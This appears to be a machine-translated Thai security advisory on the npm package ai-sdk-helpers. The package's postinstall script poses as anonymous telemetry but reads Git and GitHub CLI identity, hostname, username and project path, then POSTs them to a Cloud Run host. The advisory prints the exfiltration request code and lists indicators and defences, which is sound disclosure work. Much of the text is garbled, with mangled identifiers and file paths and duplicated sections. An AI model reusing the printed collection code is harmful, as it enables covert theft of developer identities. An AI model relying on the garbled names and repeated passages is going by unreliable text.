TL; DR
แพ็กเกจ npm เพียงแพ็กเกจเดียว ตัวช่วย ai-sdkโดยนำเสนอตัวเองในฐานะชุดเครื่องมือสำหรับการผลิตสำหรับ Vercel AI SDK ซึ่งมีคุณสมบัติในการติดตามต้นทุน การรองรับผู้ให้บริการสำรอง และตัวช่วยในการสตรีมมิ่ง
สคริปต์ระหว่างการติดตั้งจะเริ่มต้นด้วยแบนเนอร์เปิดเผยข้อมูลที่ดูดี ซึ่งจะอธิบายรายละเอียดต่างๆ การวินิจฉัยแบบไม่ระบุตัวตนโดยให้คำมั่นว่าจะไม่มีการส่งซอร์สโค้ด โทเค็น หรือข้อมูลประจำตัวใดๆ เพื่อเป็นการให้เกียรติแก่... DO_NOT_TRACK ตัวเลือกในการยกเลิกการเข้าร่วม และการเชื่อมโยงไปยังหน้านโยบายการเก็บข้อมูลทางไกล
จากนั้นสคริปต์เดียวกันนี้จะอ่านข้อมูลประจำตัว Git ของนักพัฒนา การกำหนดค่า GitHub CLI ชื่อโฮสต์ของเครื่อง ชื่อผู้ใช้ระบบปฏิบัติการ ไดเร็กทอรีการทำงาน และผู้ให้บริการ CI
ข้อมูลดังกล่าวถูกส่งแบบ POST ในรูปแบบ JSON ไปยังปลายทาง Google Cloud Run ซึ่งทำให้เกิดความไม่สอดคล้องกันอย่างชัดเจนระหว่างนโยบายการเก็บข้อมูลทางไกลที่ระบุไว้กับฟิลด์ที่เก็บรวบรวมได้จริง
แพ็กเกจดังกล่าวถูกเผยแพร่ใน 22 เวอร์ชันภายในช่วงเวลา 83 วินาที และสคริปต์การติดตั้งนั้นเหมือนกันทุกประการในทุกเวอร์ชันที่ถูกระบุ
เจ็ดในแปดเวอร์ชันที่เราตรวจสอบ pipeline ตัวจำแนก ML ให้คะแนนว่าผลลัพธ์ไม่แน่ชัด เนื่องจากรูปแบบของแบนเนอร์ขอความยินยอมนั้นดูเหมือนข้อมูลการวัดระยะทางที่ถูกต้องตามกฎหมาย
เราจัดประเภท ai-sdk-helpers เป็นการกระทำที่เป็นอันตรายโดยอาศัยการรวบรวมและการขโมยข้อมูลประจำตัวของนักพัฒนาซอฟต์แวร์ในระหว่างการติดตั้ง
ระดับความรุนแรง: สูง
โครงสร้างของการติดตั้ง
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } หลังการติดตั้ง ทำงานโดยอัตโนมัติบน ติดตั้ง NPMก่อนที่โค้ดที่โฆษณาไว้ในแพ็กเกจจะถูกนำเข้า สคริปต์ scripts/postinstall.js เป็นที่อยู่ของพฤติกรรมทั้งหมดระหว่างการติดตั้ง
เริ่มต้นด้วยช่องแสดงความคิดเห็นและข้อความแจ้งเตือนขณะทำงาน ซึ่งเขียนไว้ในทะเบียนของโครงการโอเพนซอร์สที่คำนึงถึงความเป็นส่วนตัว:
เมื่อคุณติดตั้ง ai-sdk-helpers เราจะทำการตรวจสอบความเข้ากันได้ของสภาพแวดล้อมอย่างรวดเร็วและรายงานผลการวินิจฉัยแบบไม่ระบุตัวตน... ข้อมูลทั้งหมดเป็นข้อมูลที่ไม่ระบุตัวตน — เราเก็บรวบรวมแพลตฟอร์ม เวอร์ชัน Node และแฮชแบบทางเดียวของตัวระบุเครื่องของคุณเท่านั้น ไม่มีการส่งซอร์สโค้ด โทเค็น หรือข้อมูลประจำตัวใดๆ ทั้งสิ้น
นอกจากนี้ยังมีการเชื่อมต่อวงจรยกเลิกการอนุญาตที่ใช้งานได้จริง ซึ่งเป็นโค้ดที่สามารถเรียกใช้งานได้ตัวแรกในไฟล์:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } การผูกเชือกประตูนี้ก่อนเป็นอันดับแรก ทำให้ส่วนที่เหลือดูเหมือนเป็นการยินยอมพร้อมใจกัน: นักพัฒนาที่ตั้ง `D`_NOT_TRACK` การติดตั้งเสร็จสมบูรณ์โดยเงียบ ๆ และสรุปว่าแพ็กเกจนี้เป็นไปตามข้อกำหนด การเลือกไม่รับที่ได้รับการยอมรับนั้นเป็นเรื่องจริง สิ่งที่ถูกจำกัดสำหรับทุกคนที่ไม่ได้ตั้งค่าคือชุดข้อมูลที่อธิบายไว้ด้านล่าง ไม่ใช่ "แพลตฟอร์ม เวอร์ชัน Node และแฮชแบบทางเดียว" ที่ข้อความแจ้งเตือนระบุไว้
ภายใต้ระบบรักษาความปลอดภัยนั้น สคริปต์จะประกอบชุดข้อมูลที่ต้องส่ง ซึ่งมีขนาดใหญ่กว่าคำอธิบายดังกล่าวมาก
- *Gเอกลักษณ์ t* rแก้Scmเอกลักษณ์() eads `~`.gitconfig``~`.config/git/config`,และโครงการปัจจุบัน `.`it/config`,แยกวิเคราะห์ `[เซอร์]` การเลือก และส่งคืนค่าที่กำหนดค่าไว้ commit อีเมล หากไม่มีไฟล์การกำหนดค่าใดที่ให้ที่อยู่อีเมล ระบบจะใช้ `G` แทนอีเมลผู้เขียน`,`GT_COMMITTER_EMAIL`,และ `EAIL` ตัวแปรสภาพแวดล้อม คำอธิบายด้านบนฟังก์ชันระบุว่าเป็นวิธีการ "ลดความซ้ำซ้อนของการติดตั้งในเครื่องต่างๆ ที่เป็นของบุคคลเดียวกัน (เช่น แล็ปท็อป + CI)" ซึ่งเป็นวัตถุประสงค์ที่ต้องการตัวระบุที่เสถียรสำหรับนักพัฒนาแต่ละคน commit อุปกรณ์อีเมล
- *Gบัญชี tHub* rsolveGitHubIdentity()` eads `~`.config/gh/hosts.yml` และ `~`.config/gh/hosts.yaml` ไฟล์การกำหนดค่าที่เขียนโดย GitHub CLI เมื่อนักพัฒนาตรวจสอบสิทธิ์ — และแยก `u` ออกมาโดยใช้ regexเอ่อ:` และ `eail:` ไฟล์นั้นยังเก็บโทเค็น GitHub OAuth ไว้ด้วย โดยนิพจน์ปกติ (regex) ของสคริปต์จะกำหนดเป้าหมายเฉพาะบรรทัดชื่อผู้ใช้และอีเมลเท่านั้น และจะไม่ดึงโทเค็นออกมา ดังนั้น ข้อความในแบนเนอร์แจ้งเตือนที่ว่า “ไม่มีการส่งโทเค็นใดๆ” จึงเป็นความจริงอย่างแท้จริงสำหรับฟิลด์นั้นฟิลด์เดียว ในขณะที่ตัวระบุบัญชีโดยรอบจะถูกอ่านและส่งไป
- *Hลายนิ้วมือ st และ CI* จากนั้นสคริปต์จะรวบรวม `o``.hostname()`,`o`.userInfo().username`,เวอร์ชัน Node, แพลตฟอร์ม และสถาปัตยกรรม `p`ocess.cwd()`,และป้ายกำกับ CI-provider ที่ได้มาจากการตรวจสอบตัวแปรสภาพแวดล้อมสำหรับผู้ให้บริการแปดราย (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite และแฟล็ก generic-CI อีกสองรายการ) รายชื่อผู้ให้บริการนี้เปรียบเสมือนรายการสิ่งที่สคริปต์คาดว่าจะทำงาน — ทั้งเชลล์แบบโต้ตอบและระบบสร้างอัตโนมัติ pipelineเหมือนกัน
ทั้งหมดนี้ถูกจัดกลุ่มไว้ใน `d` เดียวพวกอไญยนิยม วัตถุ โดยที่ฟิลด์ต่อผู้พัฒนาแต่ละรายจะถูกรวบรวมไว้ภายใต้ `i`เอนทิตี้` ey และข้อมูลโฮสต์ภายใต้ `rntime` และ `cntext` จากนั้นจึงแปลงเป็นลำดับและส่งต่อ:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); คำตอบนั้นถูกละทิ้งและข้อผิดพลาดทั้งหมดถูกซ่อนไว้ — ข้อความแสดงความคิดเห็นระบุว่า “การส่งข้อมูลทางไกลต้องไม่ทำให้การติดตั้งล้มเหลว” ชื่อโฮสต์ปลายทางเข้ารหัสบริการ Google Cloud Run ใน `eเชือก-ตะวันตก1` ภูมิภาค
ช่องว่างคือเรื่องราวสำคัญ แบนเนอร์ระบุข้อมูลสามประเภท ได้แก่ แพลตฟอร์ม เวอร์ชัน Node และแฮชตัวระบุเครื่อง เพย์โหลดส่ง Git จริงของนักพัฒนา commit อีเมล ชื่อผู้ใช้และอีเมล GitHub ชื่อโฮสต์เครื่องและชื่อบัญชีระบบปฏิบัติการ เส้นทางโปรเจ็กต์ และสภาพแวดล้อม CI ฟิลด์ที่ระบุ *pบุคคลและบัญชีของพวกเขา* ระบุรายละเอียดที่การเปิดเผยข้อมูลไม่ได้ระบุไว้อย่างชัดเจน
ไฟล์ README ยิ่งตอกย้ำกรอบความคิดจากอีกฝ่าย ส่วน "Telemetry" ย้ำคำกล่าวอ้างเรื่องการไม่เปิดเผยตัวตนและเชื่อมโยงคำว่า `D``_NOT_TRACK` โอ `ซีnsoledonottrack.com`,หน้าชุมชนจริงที่บันทึกข้อตกลงการยกเลิกการยินยอม — โดยอ้างอิงถึงนโยบายความเป็นส่วนตัวที่เป็นที่ยอมรับ standard เพื่อให้ผู้อ่านเห็นประกาศดังกล่าวราวกับเป็นเรื่องปกติทั่วไป
ปฏิบัติการ
นี่คือการค้นพบแพ็กเกจเดียวที่มีประวัติการเผยแพร่สั้นมากและกระชับมาก ไม่มีแคมเปญการตลาดที่กินเวลานานหลายสัปดาห์ให้ติดตามได้ เพราะสินค้าทุกเวอร์ชันถูกวางจำหน่ายด้วยความเร็วของเครื่องจักร
| เมื่อใด (UTC) | อีเว้นท์ |
|---|---|
| 2026-06-03 20:31:20 | เวอร์ชันแรก (0.1.0เผยแพร่ไปยัง npm แล้ว |
| 2026-06-03 20:31:20 – 20:32:43 | ทั้ง 22 เวอร์ชัน (0.1.0 ตลอด 1.4.2) เผยแพร่ในรูปแบบอัตโนมัติความยาว 83 วินาที |
| 2026-06-04 | พบแปดเวอร์ชันที่ตรวจพบสัญญาณผิดปกติ การวิเคราะห์ด้วยตนเองยืนยันว่ามีการเก็บรวบรวมและขโมยข้อมูลประจำตัวในระหว่างการติดตั้ง แพ็กเกจยังคงใช้งานได้บน npm ในขณะที่ทำการวิเคราะห์ |
หน้าต่างเวลา 83 วินาที ครอบคลุม 22 เวอร์ชันเชิงความหมายนั้น ถือเป็นตัวบ่งชี้พฤติกรรมอย่างหนึ่ง นั่นคือ ลำดับเวอร์ชัน (`01.0`,`01.1`,… `14.2`)นำเสนอภาพรวมของโครงการที่ได้รับการดูแลรักษาอย่างต่อเนื่อง พร้อมประวัติการเผยแพร่ ซึ่งสร้างขึ้นจากการรันสคริปต์เพียงครั้งเดียว สคริปต์การติดตั้งจะไม่เปลี่ยนแปลงตลอดลำดับขั้นนั้น — ดูด้านล่าง
ตัวชี้วัดของการประนีประนอม
เพย์โหลดระหว่างการติดตั้งนั้นเหมือนกันทุกประการในทุกเวอร์ชันที่เผยแพร่ A `dff` เอฟ `sripts/postinstall.js` เวอร์ชันระหว่าง `0`2.1` nd เวอร์ชัน `14.2` ผลลัพธ์ที่ได้คือไม่มีความแตกต่างใดๆ พฤติกรรมคือลายนิ้วมือคงที่ ไม่ใช่ข้อมูลที่เปลี่ยนแปลงไปเรื่อยๆ
เครือข่าย
หน้าต่างเวลา 83 วินาที ครอบคลุม 22 เวอร์ชันเชิงความหมายนั้น ถือเป็นตัวบ่งชี้พฤติกรรมอย่างหนึ่ง นั่นคือ ลำดับเวอร์ชัน (`01.0`,`01.1`,… `14.2`)นำเสนอภาพรวมของโครงการที่ได้รับการดูแลรักษาอย่างต่อเนื่อง พร้อมประวัติการเผยแพร่ ซึ่งสร้างขึ้นจากการรันสคริปต์เพียงครั้งเดียว สคริปต์การติดตั้งจะไม่เปลี่ยนแปลงตลอดลำดับขั้นนั้น — ดูด้านล่าง
ตัวชี้วัดของการประนีประนอม
เพย์โหลดระหว่างการติดตั้งนั้นเหมือนกันทุกประการในทุกเวอร์ชันที่เผยแพร่ A `dff` เอฟ `sripts/postinstall.js` เวอร์ชันระหว่าง `0`2.1` nd เวอร์ชัน `14.2` ผลลัพธ์ที่ได้คือไม่มีความแตกต่างใดๆ พฤติกรรมคือลายนิ้วมือคงที่ ไม่ใช่ข้อมูลที่เปลี่ยนแปลงไปเรื่อยๆ
เครือข่าย
| ตัวบ่งชี้ | บทบาท |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | จุดส่งข้อมูลลับที่รับคำขอ HTTPS POST พร้อมข้อมูล JSON โฮสต์บน Google Cloud Run ใน europe-west1 ภูมิภาค |
โครงสร้างพื้นฐานล่อเป้า
| ตัวบ่งชี้ | บทบาท |
|---|---|
ai-sdk.guide | หน้าแรกของแพ็กเกจและเว็บไซต์จริงที่สนับสนุนข้อมูลผู้เขียน "คู่มือ AI SDK" |
ai-sdk.guide/telemetry | URL ของนโยบายการเก็บข้อมูลทางไกลที่อ้างอิงในประกาศแจ้งรายละเอียดระหว่างการติดตั้ง |
hello@ai-sdk.guide | อีเมลของผู้เขียนที่ระบุไว้ package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | แหล่งเก็บซอร์สโค้ดที่ประกาศโดยแพ็กเกจ |
ไฟล์ที่อ่านในระหว่างการติดตั้ง
- -`.gitconfig``~`.config/git/config`,`<wd>/.git/config` git `[เซอร์]` อีเมล
- - `.config/gh/hosts.yml``~`.config/gh/hosts.yaml` GitHub CLI `uเอ่อ `eail`
ลักษณะเฉพาะทางพฤติกรรม
- – ม `ปstinstall` ook เรียกใช้สคริปต์ Node ที่รวมไว้
- – ประตูยกเลิก (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D`_NOT_TRACK`)นำเสนอในฐานะคุณสมบัติเพื่อความเป็นส่วนตัว ก่อนการเก็บรวบรวมข้อมูลส่วนบุคคล
- – การส่งคำขอ HTTPS POST ไปยัง tbound โดยส่งอ็อบเจ็กต์ JSON ที่ประกอบด้วยอีเมล Git, ข้อมูลประจำตัว GitHub, ชื่อโฮสต์, ชื่อผู้ใช้ระบบปฏิบัติการ, ตำแหน่งปัจจุบัน (cwd) และป้ายกำกับ CI
- – สคริปต์การติดตั้งที่เหมือนกันทุกประการในทุกเวอร์ชันที่เผยแพร่อย่างรวดเร็ว
การระบุสาเหตุและพฤติกรรมที่สังเกตได้
เราไม่ได้ให้คุณค่าใดๆ นอกเหนือจากสิ่งที่แพ็กเกจและข้อมูลเมตาของรีจิสทรีบันทึกไว้
ผู้ดูแลระบบ npm ที่รับผิดชอบคือบัญชี `a`ielsimon`,โดยมีที่อยู่ `aiel@vigilance.security`.ระบบทะเบียนระบุว่าอีเมลนั้นยังไม่ได้รับการยืนยัน และข้อมูลประจำตัวในระบบควบคุมเวอร์ชันของบัญชีก็ยังไม่ได้รับการยืนยันเช่นกัน `p`package.json`แยกส่วนนี้ออก โดยระบุชื่อผู้เขียนว่า “คู่มือ AI SDK”ello@ai-sdk.guide>`”โดยมีหน้าแรกเป็น `a`-คู่มือ SDK` และแหล่งเก็บซอร์สโค้ดภายใต้ `g`องค์กร `thub.com/ai-sdk-guide` โดเมนอีเมลของบัญชีผู้เผยแพร่ (`vigilance.security`)และข้อมูลประจำตัวผู้เขียนภายในแพ็กเกจ (`a-คู่มือ SDK`)เป็นโดเมนที่แตกต่างกัน
`a-คู่มือ SDK` มันทำงานอยู่และตอบสนอง และ `/การวัดค่า ath resolves — ตัวตนลวงนั้นได้รับการสนับสนุนจากเว็บไซต์ที่เข้าถึงได้ แทนที่จะเป็นลิงก์ที่ใช้งานไม่ได้ ซึ่งช่วยเพิ่มความน่าเชื่อถือของกรอบการนำเสนอของแพ็กเกจ
**ความสามารถที่สังเกตได้** ในระหว่างการติดตั้ง แพ็กเกจจะอ่านข้อมูลประจำตัวของนักพัฒนาและไฟล์การกำหนดค่าบัญชี ตรวจสอบลายนิ้วมือของโฮสต์และสภาพแวดล้อม CI และส่งผลลัพธ์ไปยังปลายทางที่ผู้ปฏิบัติงานควบคุม พร้อมทั้งแสดงข้อความที่อธิบายชุดข้อมูลที่แคบลงและไม่ระบุตัวตน เราอธิบายพฤติกรรมนี้ แต่ไม่ได้กล่าวอ้างถึงแรงจูงใจใดๆ ผู้อ่านที่ประเมินแพ็กเกจ รวมถึงบุคคลใดๆ ที่รู้จักตัวตนของผู้เผยแพร่ ควรพิจารณาความไม่ตรงกันที่สังเกตได้ระหว่างการไหลของข้อมูลที่ระบุไว้และที่เกิดขึ้นจริง
ผลกระทบ แนวโน้ม และคำแนะนำสำหรับผู้เล่นตำแหน่งกองหลัง
ใครบ้างที่ได้รับผลกระทบ ใครก็ตามที่ติดตั้ง ตัวช่วย ai-sdk — ไม่ว่าจะโดยตรงหรือโดยการพึ่งพาแบบส่งต่อ — จะเรียกใช้คอลเลกชันบนเครื่องนั้น เนื่องจากทริกเกอร์คือ หลังการติดตั้งโค้ดไลบรารีที่โฆษณาไว้ไม่จำเป็นต้องนำเข้าเพื่อให้ข้อมูลไหลเวียน การติดตั้งเพียงอย่างเดียวก็เพียงพอแล้ว สภาพแวดล้อมที่มีคุณค่าสูงสุดคือเวิร์กสเตชันของนักพัฒนาที่มีการกำหนดค่าข้อมูลประจำตัว Git และ GitHub CLI ที่ได้รับการตรวจสอบสิทธิ์ และตัวรัน CI ซึ่งการตรวจจับผู้ให้บริการ CI ของสคริปต์บ่งชี้ว่าคาดว่าจะมีการรวบรวมข้อมูลภายในกระบวนการสร้าง pipelineรวมถึงบนแล็ปท็อปด้วย
สิ่งที่มันเปิดเผยออกมา ไม่ใช่ความลับของแอปพลิเคชันในกรณีทั่วไป — เนื้อหาหลักอยู่ที่... เอกลักษณ์: ของนักพัฒนา commit อีเมล ชื่อบัญชี GitHub และอีเมล ชื่อเครื่องและชื่อบัญชี และเส้นทางของโปรเจ็กต์ นี่คือข้อมูลเบื้องต้นcisแผนผังแสดงว่าใครติดตั้งแพ็กเกจ บนเครื่องใด ในที่เก็บข้อมูลใด และภายใต้ระบบ CI ใด สำหรับองค์กร ข้อมูลเพียงไม่กี่รายการเหล่านี้ก็สามารถระบุได้ว่าวิศวกรและระบบสร้างใดดึงเอาส่วนประกอบนั้นมาใช้ ซึ่งมีประโยชน์ในฐานะข้อมูลเบื้องต้นสำหรับกิจกรรมที่เจาะจงมากขึ้นในภายหลัง แม้ว่าพฤติกรรมของแพ็กเกจนี้จะหยุดอยู่ที่การรวบรวมและการส่งต่อก็ตาม
แนวโน้ม: การใช้ข้อมูลทางไกลเป็นเครื่องมือปกปิด เครื่องมือสำหรับนักพัฒนาซอฟต์แวร์ที่ถูกต้องตามกฎหมายจะรวบรวมข้อมูลการวินิจฉัยการติดตั้งแบบไม่ระบุตัวตน และมีธรรมเนียมปฏิบัติในการดำเนินการดังกล่าวอย่างเคารพ เช่น การแจ้งให้ทราบล่วงหน้า เป็นต้น ห้ามติดตาม การให้เกียรติ การใช้ธงเพื่อยกเลิกการเข้าร่วม และ URL ของนโยบาย ล้วนเป็นสิ่งที่เรารู้จักกันดี ตัวช่วย ai-sdk โปรแกรมนี้จำลองแบบแผนทั้งสี่ข้อนั้นอย่างซื่อสัตย์และใช้เป็นกรอบในการเก็บรวบรวมข้อมูลส่วนบุคคล การมีแบนเนอร์ขอความยินยอม ปุ่มยกเลิกการใช้งาน หรือลิงก์นโยบายความเป็นส่วนตัว ไม่ได้เป็นหลักฐานว่าโปรแกรมนั้นน่าเชื่อถือ เพราะการควบคุมเหล่านั้นสามารถเลียนแบบได้ง่ายและราคาไม่แพง การตรวจสอบที่เชื่อถือได้เพียงอย่างเดียวคือสิ่งที่โค้ดอ่านจริง ๆ และส่งไปที่ใดจริง ๆ
บรรจุภัณฑ์นี้ยังมีผลต่อการคัดแยกสินค้าอัตโนมัติอย่างเห็นได้ชัด ในทุกเวอร์ชันของเรา pipeline จากการตรวจสอบ สคริปต์การติดตั้งที่มีคำอธิบายเป็นภาษาธรรมดา ชื่อฟิลด์ที่มีโครงสร้าง และเกตการยกเลิกการใช้งานแบบเดิม พบว่ามี 7 จาก 8 รายการที่ได้รับผลตอบรับเป็นข้อมูลการวัดระยะทางแบบปกติ ค้างคา มาจากตัวจำแนก ML มากกว่าเจตนาร้าย สัญญาณที่ช่วยคลายความกำกวมนั้นไม่ได้อยู่ในข้อความ แต่อยู่ในไฟล์เฉพาะที่สคริปต์เปิด (~ / .gitconfig, ~/.config/gh/hosts.yml) และปลายทางที่ส่งข้อมูลไป ผู้ตรวจสอบ ไม่ว่าจะเป็นระบบอัตโนมัติหรือมนุษย์ ที่อ่านคำชี้แจงแล้วหยุดอยู่แค่นั้น จะได้ข้อสรุปที่ผิดพลาด การตัดสินใจต้องมาจากข้อเท็จจริงของการไหลของข้อมูล
คำแนะนำสำหรับผู้เล่นฝ่ายรับ:
- ติดตั้งโดยปิดใช้งานสคริปต์ตามค่าเริ่มต้น — npm install –ignore-scripts, หรือ set ละเว้นสคริปต์=จริง in .npmrc และดำเนินการตามขั้นตอนการสร้างที่ตรวจสอบแล้วอย่างชัดเจน ซึ่งจะทำให้ผลกระทบเป็นกลาง หลังการติดตั้ง- การเก็บรวบรวมข้อมูลแบบอัตโนมัติในทุกด้าน
- อย่ามองว่าการควบคุมโดยการไม่เข้าร่วมเป็นสัญญาณบ่งบอกถึงความน่าเชื่อถือ ห้ามติดตาม การตรวจสอบหรือลิงก์ "นโยบายการส่งข้อมูลทางไกล" ไม่ได้บอกอะไรคุณเลยเกี่ยวกับข้อมูลที่สคริปต์รวบรวมเมื่อไม่ได้ตั้งค่าประตู
- โปรดอ่านคำแนะนำการติดตั้งก่อนนำแพ็กเกจตัวช่วยระบบนิเวศ AI มาใช้ พื้นที่ SDK AI ของ Vercel เป็นพื้นที่ที่มีการเปลี่ยนแปลงอย่างรวดเร็วและต้องการความน่าเชื่อถือสูง หลังการติดตั้ง ที่สัมผัส ~ / .gitconfig or ~/.config/gh/ เป็นการส่งสัญญาณที่ชัดเจน ไม่ว่าความคิดเห็นโดยรอบจะเขียนอย่างไรก็ตาม
- ตรวจสอบการส่งออกข้อมูลระหว่างการสร้างระบบ การส่งคำขอ HTTPS POST ขาออกระหว่าง ติดตั้ง NPMโดยเฉพาะอย่างยิ่งกับเอนด์พอยต์ของฟังก์ชันคลาวด์ที่เพิ่งได้รับการจัดเตรียมใหม่ สามารถตรวจสอบได้ที่เลเยอร์เครือข่าย และเป็นจุดตรวจจับที่สำคัญสำหรับสภาพแวดล้อม CI
- ระวังแพ็กเกจที่มีประวัติเวอร์ชันแบบบีบอัด แพ็กเกจที่มีประวัติเวอร์ชันเชิงความหมายทั้งหมดปรากฏขึ้นภายในไม่กี่วินาที พร้อมสคริปต์การติดตั้งที่ไม่เปลี่ยนแปลงนั้น กำลังสร้างประวัติการบำรุงรักษาที่ถูกสร้างขึ้นมา





